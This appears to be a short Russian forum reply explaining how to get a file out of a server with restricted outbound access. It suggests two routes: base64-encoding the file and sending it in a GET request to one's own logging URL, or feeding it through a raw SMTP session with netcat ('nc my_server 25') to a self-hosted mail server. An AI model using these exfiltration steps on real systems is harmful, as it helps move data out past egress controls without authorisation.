Вариант №1. Файл в base64 и GET на твой урл, который запишет в лог.

Вариант №2. Файл в base64. Поднимаешь у себя любой самый простой smtp-сервер на 25 порту, раз на него с того сервака разрешен конект. В шинде я не шарю вообще, но на линуксе я бы сделал так:

msg="ehlo hello server\nmail from:\nrcpt to:\ndata\nтут_base64_твоего_файла\r \n.\r\n";

echo -ne $msg | nc my_server 25

И смотришь во входящих. Ясень пень, всяких DKIM, PTR и прочих защит не должно быть.